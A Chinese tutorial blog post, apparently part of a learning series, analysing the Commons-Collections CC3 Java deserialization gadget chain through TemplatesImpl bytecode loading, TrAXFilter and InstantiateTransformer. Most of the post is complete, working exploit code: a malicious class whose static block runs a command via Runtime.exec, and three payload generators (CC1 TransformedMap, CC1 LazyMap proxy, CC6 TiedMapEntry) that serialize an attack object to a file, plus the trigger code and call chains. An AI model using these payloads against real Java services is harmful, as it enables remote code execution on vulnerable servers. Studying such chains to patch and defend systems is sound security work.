本文主要是介绍Commons-Collections篇-CC3链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime
CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码
1.环境安装
可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习
2.分析
CC3的sink点在于defineClass()
在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段
ClassLoader.loadClass()—> ClassLoader.findClass()–>ClassLoader.defineClass()
defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.
如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作
2.1 Templateslmpl类分析
我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass,TemplatesImpl类实现了Serializable接口,可以被序列化,但是defineClass方法为默认Default,只能在自己类中使用
我们继续find Usages
我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了
在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找
我们找到了一个公开的方法,接下来开始利用
2.2 Templateslmpl类利用
2.2.1 解决阻碍
在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件
- _name为String类型,不能为null
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
- _class为Class类型的数据,必须为null 默认也是null,不用处理
- _bytecodes为字节类型的二维数组,不能为null
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
- _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
我们编写一个demo进行尝试
先写一个恶意类,并将该文件进行编译为class
public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
}
public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\src\\main\\java\\org\\example\\Calc.java"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}
在运行之后会有一个空指针异常的错误
我们调试并定位到发生错误的代码处,发现_auxClasses是Null
所以我们现在有两种解决方法:
- 设置_auxClasses
- 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确
如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误
所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功
我们修改弹计算器的测试代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
重新运行上面我们的测试代码
2.3 TrAXFilter分析及实例化
我们接着寻找newTransformer()的用法
发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化
但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer
我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
整体POC
public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);//序列化
// serializable(o);
// unserializable();}
2.4 CC1+TrAXFilter
我们结合CC1的入口到TrAXFilter的使用,构造POC
注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用
package org.example;import com.oracle.jrockit.jfr.ValueDefinition;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put("id",1);Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(ValueDefinition.class, transformedMap);//序列化serializable(o);// unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}
用反序列化来执行上面生成的obj文件
public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}
路线为
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AbstractInputCheckedMapDecorator$MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()
2.5 CC1_LazyMap + TrAXFilter
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);aDe.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);//序列化serializable(invocationHandler);// unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}
路线为
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()
2.6 CC6 +TrAXFilter
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());// templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));TiedMapEntry tied = new TiedMapEntry(Lazy,0);HashMap map1 = new HashMap();map1.put(tied,1);//本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flaseLazy.remove(0); //remove掉put时 lazyMap里的key 使反序列化时能进入transformClass c = LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazy,chainedTransformer);serializable(map1);}// unserializable();private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}
路线为
HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC6链分析
这篇关于Commons-Collections篇-CC3链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!